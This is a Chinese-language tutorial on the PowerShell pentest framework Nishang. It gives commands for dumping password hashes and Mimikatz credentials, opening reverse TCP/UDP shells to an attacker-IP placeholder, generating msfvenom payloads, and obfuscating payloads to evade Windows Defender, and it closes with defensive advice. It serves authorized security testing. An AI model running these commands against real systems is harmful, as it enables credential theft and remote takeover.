茶话间--PowerShell渗透测试利器--Nishang
字数 1098 2025-08-18 11:38:52
PowerShell渗透测试利器Nishang使用指南
1. PowerShell基础概念
PowerShell是Windows平台上的高级脚本语言,可以视为cmd/bat的升级版,具有以下特点:
- 面向对象,与.NET Framework紧密集成
- 代码可运行在内存中,不接触磁盘
- 多数安全产品难以监测其活动
- 相比cmd.exe更不容易被阻止运行
2. Nishang工具简介
Nishang是基于PowerShell的渗透测试专用工具,集成了多种实用脚本和payload,包括:
- 密码抓取
- 端口扫描
- 权限提升
- 后门植入
- 信息收集
GitHub下载地址:https://github.com/samratashok/nishang
3. 环境准备与基本配置
3.1 修改执行策略
默认情况下PowerShell不允许执行脚本,需要修改执行策略:
# 查询当前执行策略
Get-ExecutionPolicy
# 修改为允许执行脚本
Set-ExecutionPolicy RemoteSigned
3.2 导入Nishang模块
# 导入模块
Import-Module .\nishang.ps1
# 查看模块中的脚本
Get-Command -Module nishang
4. 常用功能模块详解
4.1 信息收集
# 获取系统基本信息
Get-Information
# 检查是否为虚拟机
Check-VM
4.2 密码抓取
4.2.1 获取哈希值
# 直接显示哈希值
Get-PassHashes
# 保存哈希值到文件
powershell -exec bypass -Command "& {Import-Module 'C:\nishang\Gather\Get-PassHashes.ps1'; Get-PassHashes -PSObjectFormat | Out-File hash.txt}"
4.2.2 获取明文密码
# 使用Mimikatz获取明文密码
powershell -exec bypass -Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1'; Invoke-Mimikatz}"
4.3 端口反弹
4.3.1 TCP反向连接
攻击者监听:
nc -lvp 5555
目标主机执行:
Invoke-PowerShellTcp -Reverse -IPAddress [攻击者IP] -Port 5555
4.3.2 UDP反向连接
攻击者监听:
nc -lup 6666
目标主机执行:
Invoke-PowerShellUdp -Reverse -IPAddress [攻击者IP] -Port 6666
4.4 与Metasploit配合使用
4.4.1 查找PowerShell相关payload
msfvenom -l payloads | grep 'reverse_powershell'
4.4.2 生成反弹shell payload
msfvenom -p cmd/windows/reverse_powershell LHOST=[攻击者IP] LPORT=9999 R
将生成的命令在目标主机上执行,攻击者监听9999端口即可获得shell。
4.5 绕过Windows Defender
使用Invoke-Obfuscation工具对payload进行混淆:
- 启动工具:
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
- 设置要混淆的脚本块:
SET SCRIPTBLOCK 'powershell -nop -w hidden -c "..."'
- 选择混淆方式(如ASCII混淆):
TOKEN\ALL\1
- 输出混淆后的脚本:
OUT 1.ps1
5. 与Cobalt Strike配合使用
- 在Cobalt Strike中创建监听器
- 生成PowerShell payload
- 在目标主机上执行生成的PowerShell命令
- 目标主机上线后可进行:
- 远程密码抓取
- 权限提升
- 持久化控制
- 内网横向移动
6. 安全建议
防御Nishang攻击的建议:
- 限制PowerShell执行策略
- 监控异常PowerShell活动
- 及时更新防病毒软件特征库
- 实施最小权限原则
- 禁用不必要的脚本执行能力
7. 总结
Nishang作为一款强大的PowerShell渗透测试框架,提供了从信息收集到权限维持的完整工具链。通过本文介绍的核心功能,安全测试人员可以有效地评估Windows系统的安全性,同时防御者也能更好地理解攻击手法并采取相应防护措施。
注意:本文所有技术仅限合法授权测试使用,未经授权使用可能违反法律。